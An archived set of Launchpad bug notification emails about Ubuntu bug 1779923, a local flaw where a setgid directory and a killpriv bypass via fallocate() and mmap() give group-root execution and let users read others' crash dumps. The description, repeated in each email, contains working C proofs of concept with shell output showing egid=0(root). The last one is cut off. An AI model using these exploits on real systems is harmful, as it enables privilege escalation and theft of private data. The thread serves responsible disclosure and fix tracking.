[Touch-packages] [Bug 1779923] Re: other users' coredumps can be read via setgid directory and killpriv bypass

2018-07-26 Thread Mathew Hodson
** No longer affects: whoopsie (Ubuntu)

** No longer affects: whoopsie (Ubuntu Trusty)

** No longer affects: whoopsie (Ubuntu Xenial)

** No longer affects: whoopsie (Ubuntu Bionic)

** No longer affects: whoopsie (Ubuntu Cosmic)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to whoopsie in Ubuntu.
https://bugs.launchpad.net/bugs/1779923

Title:
  other users' coredumps can be read via setgid directory and killpriv
  bypass

Status in linux package in Ubuntu:
  In Progress
Status in linux source package in Trusty:
  In Progress
Status in linux source package in Xenial:
  In Progress
Status in linux source package in Bionic:
  In Progress
Status in linux source package in Cosmic:
  In Progress

Bug description:
  Note: I am both sending this bug report to secur...@kernel.org and filing it 
in
  the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug
  or as a Ubuntu bug. You may wish to talk to each other to determine the best
  place to fix this.

  I noticed halfdog's old writeup at
  https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
  , describing essentially the following behavior in combination with a
  trick for then writing to the resulting file without triggering the
  killpriv logic:

  
  =
  user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
  user@debian:~/sgid_demo$ cat > demo.c
  #include 
  int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }
  user@debian:~/sgid_demo$ gcc -o demo demo.c
  user@debian:~/sgid_demo$ ./demo
  user@debian:~/sgid_demo$ ls -l dir/file
  -rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file
  =

  
  Two patches for this were proposed on LKML back then:
  "[PATCH 1/2] fs: Check f_cred instead of current's creds in
  should_remove_suid()"
  
https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.l...@kernel.org/

  "[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid 
directory"
  
https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.l...@kernel.org/

  However, as far as I can tell, neither of them actually landed.

  
  You can also bypass the killpriv logic with fallocate() and mmap() -
  fallocate() permits resizing the file without triggering killpriv,
  mmap() permits writing without triggering killpriv (the mmap part is mentioned
  at
  
https://lore.kernel.org/lkml/cagxu5jlu6ogkqugqrcoyq6dabowz9hx3fuq+-zc7njlukgk...@mail.gmail.com/
  ):

  
  =
  user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
  user@debian:~/sgid_demo$ cat fallocate.c
  #define _GNU_SOURCE
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(void) {
int src_fd = open("/usr/bin/id", O_RDONLY);
if (src_fd == -1)
  err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, _stat))
  err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
if (src_mapping == MAP_FAILED)
  err(1, "mmap 2");

int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
if (fd == -1)
  err(1, "open");
if (fallocate(fd, 0, 0, src_len))
  err(1, "fallocate");
char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 
0);
if (mapping == MAP_FAILED)
  err(1, "mmap");

  
memcpy(mapping, src_mapping, src_len);

munmap(mapping, src_len);
close(fd);
close(src_fd);

execl("./dir/file", "id", NULL);
err(1, "execl");
  }
  user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c
  user@debian:~/sgid_demo$ ./fallocate
  uid=1000(user) gid=1000(user) egid=0(root)
  
groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)
  =

  
  sys_copy_file_range() also looks as if it bypasses killpriv on
  supported filesystems, but I haven't tested that one so far.

  On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and
  contains group-readable crashdumps in some custom format, so you can use this
  issue to steal other users' crashdumps:

  
  =
  user@ubuntu-18-04-vm:~$ ls -l /var/crash
  total 296
  -rw-r- 1 user whoopsie  16527 Jun 25 22:27 
_usr_bin_apport-unpack.1000.crash
  -rw-r- 1 root whoopsie  50706 Jun 25 21:51 _usr_bin_id.0.crash
  -rw-r- 1 user whoopsie  51842 Jun 25 21:42 _usr_bin_id.1000.crash
  -rw-r- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
  -rw-r- 1 root whoopsie  18765 Jun 26 00:42 _usr_bin_xattr.0.crash
  user@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crash
  cat: /var/crash/_usr_bin_id.0.crash: Permission denied
  user@ubuntu-18-04-vm:~$ cat fallocate.c 
  #define _GNU_SOURCE
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(int 

[Touch-packages] [Bug 1779923] Re: other users' coredumps can be read via setgid directory and killpriv bypass

2018-07-16 Thread Tyler Hicks
Fix submitted for the Ubuntu kernel: https://lists.ubuntu.com/archives
/kernel-team/2018-July/093863.html

** Also affects: linux (Ubuntu)
   Importance: Undecided
   Status: New

** Changed in: linux (Ubuntu)
   Importance: Undecided => Medium

** Changed in: linux (Ubuntu)
   Status: New => In Progress

** Changed in: linux (Ubuntu)
 Assignee: (unassigned) => Tyler Hicks (tyhicks)

** Also affects: linux (Ubuntu Trusty)
   Importance: Undecided
   Status: New

** Also affects: whoopsie (Ubuntu Trusty)
   Importance: Undecided
   Status: New

** Also affects: linux (Ubuntu Cosmic)
   Importance: Medium
 Assignee: Tyler Hicks (tyhicks)
   Status: In Progress

** Also affects: whoopsie (Ubuntu Cosmic)
   Importance: Undecided
   Status: New

** Also affects: linux (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Also affects: whoopsie (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Also affects: linux (Ubuntu Xenial)
   Importance: Undecided
   Status: New

** Also affects: whoopsie (Ubuntu Xenial)
   Importance: Undecided
   Status: New

** Changed in: linux (Ubuntu Bionic)
   Importance: Undecided => Medium

** Changed in: linux (Ubuntu Bionic)
   Status: New => In Progress

** Changed in: linux (Ubuntu Bionic)
 Assignee: (unassigned) => Tyler Hicks (tyhicks)

** Changed in: linux (Ubuntu Xenial)
   Importance: Undecided => Medium

** Changed in: linux (Ubuntu Xenial)
   Status: New => In Progress

** Changed in: linux (Ubuntu Xenial)
 Assignee: (unassigned) => Tyler Hicks (tyhicks)

** Changed in: linux (Ubuntu Trusty)
   Importance: Undecided => Medium

** Changed in: linux (Ubuntu Trusty)
   Status: New => In Progress

** Changed in: linux (Ubuntu Trusty)
 Assignee: (unassigned) => Tyler Hicks (tyhicks)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to whoopsie in Ubuntu.
https://bugs.launchpad.net/bugs/1779923

Title:
  other users' coredumps can be read via setgid directory and killpriv
  bypass

Status in linux package in Ubuntu:
  In Progress
Status in whoopsie package in Ubuntu:
  Invalid
Status in linux source package in Trusty:
  In Progress
Status in whoopsie source package in Trusty:
  Invalid
Status in linux source package in Xenial:
  In Progress
Status in whoopsie source package in Xenial:
  Invalid
Status in linux source package in Bionic:
  In Progress
Status in whoopsie source package in Bionic:
  Invalid
Status in linux source package in Cosmic:
  In Progress
Status in whoopsie source package in Cosmic:
  Invalid

Bug description:
  Note: I am both sending this bug report to secur...@kernel.org and filing it 
in
  the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug
  or as a Ubuntu bug. You may wish to talk to each other to determine the best
  place to fix this.

  I noticed halfdog's old writeup at
  https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
  , describing essentially the following behavior in combination with a
  trick for then writing to the resulting file without triggering the
  killpriv logic:

  
  =
  user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
  user@debian:~/sgid_demo$ cat > demo.c
  #include 
  int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }
  user@debian:~/sgid_demo$ gcc -o demo demo.c
  user@debian:~/sgid_demo$ ./demo
  user@debian:~/sgid_demo$ ls -l dir/file
  -rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file
  =

  
  Two patches for this were proposed on LKML back then:
  "[PATCH 1/2] fs: Check f_cred instead of current's creds in
  should_remove_suid()"
  
https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.l...@kernel.org/

  "[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid 
directory"
  
https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.l...@kernel.org/

  However, as far as I can tell, neither of them actually landed.

  
  You can also bypass the killpriv logic with fallocate() and mmap() -
  fallocate() permits resizing the file without triggering killpriv,
  mmap() permits writing without triggering killpriv (the mmap part is mentioned
  at
  
https://lore.kernel.org/lkml/cagxu5jlu6ogkqugqrcoyq6dabowz9hx3fuq+-zc7njlukgk...@mail.gmail.com/
  ):

  
  =
  user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
  user@debian:~/sgid_demo$ cat fallocate.c
  #define _GNU_SOURCE
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(void) {
int src_fd = open("/usr/bin/id", O_RDONLY);
if (src_fd == -1)
  err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, _stat))
  err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
if (src_mapping == MAP_FAILED)
  err(1, "mmap 

[Touch-packages] [Bug 1779923] Re: other users' coredumps can be read via setgid directory and killpriv bypass

2018-07-16 Thread Tyler Hicks
I don't think the Security or Foundations teams plan to make any changes
in Whoopsie so I'm marking these tasks as invalid.

** Changed in: whoopsie (Ubuntu Trusty)
   Status: New => Invalid

** Changed in: whoopsie (Ubuntu Xenial)
   Status: New => Invalid

** Changed in: whoopsie (Ubuntu Bionic)
   Status: New => Invalid

** Changed in: whoopsie (Ubuntu Cosmic)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to whoopsie in Ubuntu.
https://bugs.launchpad.net/bugs/1779923

Title:
  other users' coredumps can be read via setgid directory and killpriv
  bypass

Status in linux package in Ubuntu:
  In Progress
Status in whoopsie package in Ubuntu:
  Invalid
Status in linux source package in Trusty:
  In Progress
Status in whoopsie source package in Trusty:
  Invalid
Status in linux source package in Xenial:
  In Progress
Status in whoopsie source package in Xenial:
  Invalid
Status in linux source package in Bionic:
  In Progress
Status in whoopsie source package in Bionic:
  Invalid
Status in linux source package in Cosmic:
  In Progress
Status in whoopsie source package in Cosmic:
  Invalid

Bug description:
  Note: I am both sending this bug report to secur...@kernel.org and filing it 
in
  the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug
  or as a Ubuntu bug. You may wish to talk to each other to determine the best
  place to fix this.

  I noticed halfdog's old writeup at
  https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
  , describing essentially the following behavior in combination with a
  trick for then writing to the resulting file without triggering the
  killpriv logic:

  
  =
  user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
  user@debian:~/sgid_demo$ cat > demo.c
  #include 
  int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }
  user@debian:~/sgid_demo$ gcc -o demo demo.c
  user@debian:~/sgid_demo$ ./demo
  user@debian:~/sgid_demo$ ls -l dir/file
  -rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file
  =

  
  Two patches for this were proposed on LKML back then:
  "[PATCH 1/2] fs: Check f_cred instead of current's creds in
  should_remove_suid()"
  
https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.l...@kernel.org/

  "[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid 
directory"
  
https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.l...@kernel.org/

  However, as far as I can tell, neither of them actually landed.

  
  You can also bypass the killpriv logic with fallocate() and mmap() -
  fallocate() permits resizing the file without triggering killpriv,
  mmap() permits writing without triggering killpriv (the mmap part is mentioned
  at
  
https://lore.kernel.org/lkml/cagxu5jlu6ogkqugqrcoyq6dabowz9hx3fuq+-zc7njlukgk...@mail.gmail.com/
  ):

  
  =
  user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
  user@debian:~/sgid_demo$ cat fallocate.c
  #define _GNU_SOURCE
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(void) {
int src_fd = open("/usr/bin/id", O_RDONLY);
if (src_fd == -1)
  err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, _stat))
  err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
if (src_mapping == MAP_FAILED)
  err(1, "mmap 2");

int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
if (fd == -1)
  err(1, "open");
if (fallocate(fd, 0, 0, src_len))
  err(1, "fallocate");
char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 
0);
if (mapping == MAP_FAILED)
  err(1, "mmap");

  
memcpy(mapping, src_mapping, src_len);

munmap(mapping, src_len);
close(fd);
close(src_fd);

execl("./dir/file", "id", NULL);
err(1, "execl");
  }
  user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c
  user@debian:~/sgid_demo$ ./fallocate
  uid=1000(user) gid=1000(user) egid=0(root)
  
groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)
  =

  
  sys_copy_file_range() also looks as if it bypasses killpriv on
  supported filesystems, but I haven't tested that one so far.

  On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and
  contains group-readable crashdumps in some custom format, so you can use this
  issue to steal other users' crashdumps:

  
  =
  user@ubuntu-18-04-vm:~$ ls -l /var/crash
  total 296
  -rw-r- 1 user whoopsie  16527 Jun 25 22:27 
_usr_bin_apport-unpack.1000.crash
  -rw-r- 1 root whoopsie  50706 Jun 25 21:51 _usr_bin_id.0.crash
  -rw-r- 1 user whoopsie  51842 Jun 25 21:42 _usr_bin_id.1000.crash
  

[Touch-packages] [Bug 1779923] Re: other users' coredumps can be read via setgid directory and killpriv bypass

2018-07-13 Thread Seth Arnold
Thanks Jann!

** Information type changed from Private Security to Public Security

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to whoopsie in Ubuntu.
https://bugs.launchpad.net/bugs/1779923

Title:
  other users' coredumps can be read via setgid directory and killpriv
  bypass

Status in whoopsie package in Ubuntu:
  New

Bug description:
  Note: I am both sending this bug report to secur...@kernel.org and filing it 
in
  the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug
  or as a Ubuntu bug. You may wish to talk to each other to determine the best
  place to fix this.

  I noticed halfdog's old writeup at
  https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
  , describing essentially the following behavior in combination with a
  trick for then writing to the resulting file without triggering the
  killpriv logic:

  
  =
  user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
  user@debian:~/sgid_demo$ cat > demo.c
  #include 
  int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }
  user@debian:~/sgid_demo$ gcc -o demo demo.c
  user@debian:~/sgid_demo$ ./demo
  user@debian:~/sgid_demo$ ls -l dir/file
  -rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file
  =

  
  Two patches for this were proposed on LKML back then:
  "[PATCH 1/2] fs: Check f_cred instead of current's creds in
  should_remove_suid()"
  
https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.l...@kernel.org/

  "[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid 
directory"
  
https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.l...@kernel.org/

  However, as far as I can tell, neither of them actually landed.

  
  You can also bypass the killpriv logic with fallocate() and mmap() -
  fallocate() permits resizing the file without triggering killpriv,
  mmap() permits writing without triggering killpriv (the mmap part is mentioned
  at
  
https://lore.kernel.org/lkml/cagxu5jlu6ogkqugqrcoyq6dabowz9hx3fuq+-zc7njlukgk...@mail.gmail.com/
  ):

  
  =
  user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
  user@debian:~/sgid_demo$ cat fallocate.c
  #define _GNU_SOURCE
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(void) {
int src_fd = open("/usr/bin/id", O_RDONLY);
if (src_fd == -1)
  err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, _stat))
  err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
if (src_mapping == MAP_FAILED)
  err(1, "mmap 2");

int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
if (fd == -1)
  err(1, "open");
if (fallocate(fd, 0, 0, src_len))
  err(1, "fallocate");
char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 
0);
if (mapping == MAP_FAILED)
  err(1, "mmap");

  
memcpy(mapping, src_mapping, src_len);

munmap(mapping, src_len);
close(fd);
close(src_fd);

execl("./dir/file", "id", NULL);
err(1, "execl");
  }
  user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c
  user@debian:~/sgid_demo$ ./fallocate
  uid=1000(user) gid=1000(user) egid=0(root)
  
groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)
  =

  
  sys_copy_file_range() also looks as if it bypasses killpriv on
  supported filesystems, but I haven't tested that one so far.

  On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and
  contains group-readable crashdumps in some custom format, so you can use this
  issue to steal other users' crashdumps:

  
  =
  user@ubuntu-18-04-vm:~$ ls -l /var/crash
  total 296
  -rw-r- 1 user whoopsie  16527 Jun 25 22:27 
_usr_bin_apport-unpack.1000.crash
  -rw-r- 1 root whoopsie  50706 Jun 25 21:51 _usr_bin_id.0.crash
  -rw-r- 1 user whoopsie  51842 Jun 25 21:42 _usr_bin_id.1000.crash
  -rw-r- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
  -rw-r- 1 root whoopsie  18765 Jun 26 00:42 _usr_bin_xattr.0.crash
  user@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crash
  cat: /var/crash/_usr_bin_id.0.crash: Permission denied
  user@ubuntu-18-04-vm:~$ cat fallocate.c 
  #define _GNU_SOURCE
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(int argc, char **argv) {
if (argc != 2) {
  printf("usage: ./fallocate ");
  return 1;
}
int src_fd = open("/bin/cat", O_RDONLY);
if (src_fd == -1)
  err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, _stat))
  err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd,